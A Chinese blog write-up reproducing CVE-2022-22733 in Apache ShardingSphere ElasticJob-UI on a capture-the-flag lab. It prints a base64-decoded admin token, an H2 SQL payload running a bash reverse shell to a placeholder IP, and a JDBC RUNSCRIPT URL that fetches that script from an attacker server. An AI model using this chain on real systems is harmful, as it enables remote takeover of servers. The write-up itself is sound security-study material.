当前位置: 首页 > news >正文

【CVE-2022-22733漏洞复现】

Apache ShardingSphere ElasticJob-UI漏洞 漏洞编号:CVE-2022-22733

文档说明

本文作者:SwBack
创作时间:2024/1/21 19:19:19
知乎:https://www.zhihu.com/people/back-88-87
CSDN:https://blog.csdn.net/qq_30817059
百度搜索: SwBack

漏洞描述

Apache ShardingSphere ElasticJob-UI由于返回 token 中包含了管理员密码,攻击者可利用该漏洞在授权的情况下,构造恶意数据执行权限绕过攻击,最终获取服务器最高权限。

影响版本

Apache ShardingSphere ElasticJob-UI v3.0.0 及之前的版本

漏洞原理

Apache ShardingSphere ElasticJob-UI由于返回 token 中包含了管理员密码,攻击者可利用该漏洞在授权的情况下,构造恶意数据执行权限绕过攻击,最终获取服务器最高权限。

具体漏洞原理可以参考这篇文章

https://www.shangyexinzhi.com/article/4555060.html

漏洞复现

抓取token

通过burp进行登录请求抓包

采用游客账号guest guest

在这里插入图片描述

在这里插入图片描述

base64解密token

利用burp自带的解密直接base64解密token,获得账号密码均为root

在这里插入图片描述

构造恶意代码

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "Q";}';CALL EXEC ('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvMTExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}')

其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvMTExMTEgMD4mMQ==为反弹shell base64加密代码。

解码之后为bash -i >& /dev/tcp/111.111.111.111/11111 0>&1

格式为:bash -i >& /dev/tcp/IP/PORT 0>&1

上传攻击服务器

将恶意代码保存为poc.sql,并在本地开启一个web服务,将恶意文件放到web目录下

在这里插入图片描述

访问测试:

在这里插入图片描述

攻击服务器开启监听

在这里插入图片描述

上传恶意文件

使用之前解密得到的root账号密码登录进系统。

访问Event trace data source -> +ADD

其中Name Username Password 随意

Driver 选择 org.h2.Driver

url 构造如下

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://ip:port/poc.sql

这里的IP:PORT 为poc.sql 所在的web地址

例如我这里为

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://ae59ad7a-70b7-4ff7-9721-45e96b5b1f21.node5.buuoj.cn:81/poc.sql'

如图所示

在这里插入图片描述

点击Test connect 连接成功

在这里插入图片描述

可以看到存在漏洞的服务器已经访问了我们放置POC 的地址。

在这里插入图片描述

成功反弹shell

在这里插入图片描述

在根目录发现flag.

在这里插入图片描述

复现总结

这个漏洞复现并不难,其中遇到的几个问题,.

一个是因为服务器防火墙问题导致一直无法访问.关闭防火墙即可。

还有一个是poc的代码复制时将CREATE 复制为了REATE 导致无法反弹shell。

需要细心检查一下

原创申明

本文由SwBack 原创文章, 如有问题,欢迎指正。

http://www.lryc.cn/news/285054.html

相关文章:

  • Python爬虫---scrapy框架---当当网管道封装
  • 【机器学习】机器学习四大类第01课
  • 下述默认构造函数有什么问题?
  • vite和mockjs配合使用
  • 【数据结构】常见八大排序算法总结
  • 系统学英语 — 句法 — 常规句型
  • Github操作网络异常笔记
  • Vue3新特性defineModel()便捷的双向绑定数据
  • vue列表飞入效果
  • C语言·预处理详解
  • 服务器与普通电脑的区别,普通电脑可以当作服务器用吗?
  • 数字身份所有权:Web3时代用户数据的掌控权
  • python爬虫如何写,有哪些成功爬取的案例
  • PLC物联网网关BL104实现PLC协议转MQTT、OPC UA、Modbus TCP
  • explain工具优化mysql需要达到什么级别?
  • RHCE作业
  • 在Java中调企微机器人发送消息到群里
  • 鸿蒙开发(四)UIAbility和Page交互
  • K8s(七)四层代理Service
  • 鼎捷软件获评国家级智能制造“AAA级集成实施+AA级咨询设计”供应商
  • (循环依赖问题)学习spring的第九天
  • Kotlin的数据类
  • PTA 7-13 统计工龄
  • 算法常用思路总结
  • Leetcode 3016. Minimum Number of Pushes to Type Word II
  • node.js如何将webp转jpg图片
  • 达梦数据库 忘记 SYSDBA 密码 处理方法
  • SpringBoot ES 重建 Mapping
  • 【51单片机】矩阵按键
  • Redis- AOF刷盘策略